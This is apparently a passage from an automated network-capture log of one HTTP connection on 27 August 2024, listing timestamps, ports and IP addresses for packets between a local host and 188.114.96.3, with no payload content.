Aug 27, 2024 09:49:36.508543968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.508554935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.508568048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.508575916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.508590937 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.508642912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.508685112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.508711100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.508724928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.508768082 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.508840084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.508851051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.508862019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.508872986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.508892059 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.508913994 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.589240074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589277029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589288950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589308977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589320898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589332104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589354038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589364052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589376926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589447975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589458942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589469910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589623928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589643002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589662075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589673996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589685917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589694977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589705944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589719057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589731932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589745998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589757919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589864969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589878082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589891911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589924097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589934111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589946985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.589960098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590049028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590061903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590079069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590092897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590168953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590181112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590192080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590204954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590276003 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.590321064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590332985 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.590332985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590346098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590354919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590387106 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.590389967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590410948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590423107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590450048 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.590503931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590516090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590527058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590538979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590539932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.590570927 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.590711117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590723038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590735912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590748072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590754032 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.590760946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590775013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.590795040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590801001 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.590848923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590861082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.590888023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.592520952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.592557907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.592572927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.592577934 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.592592955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.592603922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.592657089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.592669010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.592755079 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.592806101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.592818975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.592832088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.592844009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.592880964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.592897892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.592957020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.592968941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.592978954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.592991114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593008041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593028069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.593041897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.593447924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593487024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593497992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593519926 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.593556881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593568087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593580008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593591928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593604088 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.593633890 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.593797922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593810081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593828917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593838930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593852043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593863010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593874931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593884945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593959093 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.593966961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.593981981 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.595115900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.595128059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.595145941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.595190048 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.595202923 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.595220089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.595232010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.595242977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.595254898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.595261097 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.595297098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.595468044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.595479965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.595490932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.595504045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.595515966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.595526934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.595537901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.595582008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.596134901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596147060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596159935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596209049 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.596230030 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.596240044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596251965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596262932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596276045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596302032 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.596334934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596347094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596360922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596373081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596378088 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.596385002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596402884 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.596435070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.596462011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596478939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596499920 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.596888065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596941948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596956968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.596960068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.596992970 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.597003937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.597016096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.597028017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.597039938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.597054005 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.597134113 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.676314116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676353931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676367044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676379919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676399946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676412106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676424026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676434994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676537991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676544905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.676549911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676562071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676573992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676584959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676597118 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.676615953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.676680088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676691055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676701069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676719904 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.676732063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676742077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676743984 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.676769018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.676824093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676847935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676858902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676870108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676882029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676961899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676974058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.676984072 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.676985979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677015066 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.677026987 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.677058935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677074909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677087069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677109003 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.677180052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677191973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677203894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677217007 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.677217960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677229881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677242041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677248001 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.677253962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677268028 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.677294016 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.677320957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677331924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677344084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677386045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.677407026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677443027 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.677469015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677480936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677510023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.677563906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677576065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677586079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677598953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677609921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677675009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677690983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677714109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.677751064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677762032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677777052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677788019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677789927 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.677798986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.677815914 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.677836895 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.679553032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.679594040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.679606915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.679652929 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.679714918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.679727077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.679737091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.679748058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.679759026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.679821968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.679841042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.679855108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.679925919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.679939032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.679949999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.679961920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.679971933 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.679977894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.679997921 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.680006027 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.680516958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.680548906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.680562973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.680625916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.680635929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.680646896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.680656910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.680670023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.680676937 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.680704117 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.680721045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.680762053 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.680800915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.680811882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.680823088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.680846930 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.680886030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.680896997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.680907965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.680922031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.680926085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.680934906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.680946112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.680969954 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.682077885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.682158947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.682168961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.682180882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.682200909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.682226896 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.682295084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.682305098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.682316065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.682327986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.682336092 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.682338953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.682351112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.682362080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.682424068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.682425022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.682461023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.682482004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.682493925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.682532072 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.683034897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683087111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683178902 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.683233023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683249950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683260918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683271885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683289051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683299065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683310032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683314085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.683320045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683331966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683360100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683371067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.683401108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.683423042 CEST	49715	80	192.168.2.8	188.114.96.3
